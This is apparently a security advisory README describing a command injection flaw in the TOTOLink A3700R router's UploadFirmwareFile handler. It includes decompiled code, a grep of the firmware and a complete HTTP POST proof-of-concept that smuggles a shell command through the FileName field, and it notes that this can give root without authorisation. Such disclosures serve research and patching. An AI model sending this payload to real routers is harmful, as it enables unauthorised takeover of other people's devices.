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Darry-lang1 Update readme.md

History

1 contributor

64 lines (42 sloc) | 2.28 KB

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TOTOLink A3700R V9.1.2u.6134_B20201202 Has an command injection vulnerability

Overview

- Manufacturer's website information: <https://www.totolink.net/>
- Firmware download address : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=69&ids=36

Product Information

TOTOLink A3700R V9.1.2u.6134_B20201202 router, the latest version of simulation overview:

编号	标题	版本	上传时间	下载
1	A3700R数据资料	Ver1.0	2021-08-10	📄
2	A3700R升级固件	V9.1.2u.6134_B20201202	2021-08-10	📄
3	A3700R说明书	Ver1.0	2022-03-10	📄

Vulnerability details

TOTOLINK A3700R (V9.1.2u.6134_B20201202) was found to contain a command insertion vulnerability in UploadFirmwareFile. This vulnerability allows an attacker to execute arbitrary commands through the "FileName" parameter.

```

2  int v62; // [sp+2bCh] [-A8h]
3  int v63; // [sp+260h] [-A4h]
4  int v64; // [sp+264h] [-A0h]
5  char v65[52]; // [sp+268h] [-9Ch] BYREF
6  int v66; // [sp+29Ch] [-68h]
7
8  memset(v44, 0, sizeof(v44));
9  Var = (const char *)websGetVar(a1, "FileName", &byte_43AFC8);
10 websGetVar(a1, "FullName", &byte_43AFC8);
11 v3 = websGetVar(a1, "ContentLength", &word_43908C);
12 Object = cJSON_CreateObject();
13 v5 = strtol(v3, 0, 10) + 1;
14 strcpy(v44, "/tmp/mvImage.img");
15 doSystem("mv %s %s", Var, v44);
16 if ( v5 < 0x8000 )
17 {
18     String = cJSON_CreateString("MM_FwFileInvalid");
19     cJSON_AddItemToObject(Object, "upgradeERR", String);
20 LABEL_53:

```

Var is passed directly into the dosystem function.

```

$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupg
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc

```

The dosystem function is finally found to be implemented in this file by string matching.

```

int doSystem(int a1, ...)
{
    char v2[516]; // [sp+1Ch] [-204h] BYREF
    va_list va; // [sp+22Ch] [+Ch] BYREF

    va_start(va, a1);
    vsnprintf(v2, 0x200, a1, (va_list *)va);
    return system(v2);
}

```

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:


1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```


POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 75
Origin: http://192.168.0.1
DNT: 1
Connection: close
Cookie: SESSION_ID=2:1658224702:2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"FileName":"","ps #","ContentLength":"1","topicurl":"UploadFirmwareFile"}
1

```



The above figure shows the POC attack effect



Finally, you can write exp to get a stable root shell without authorization.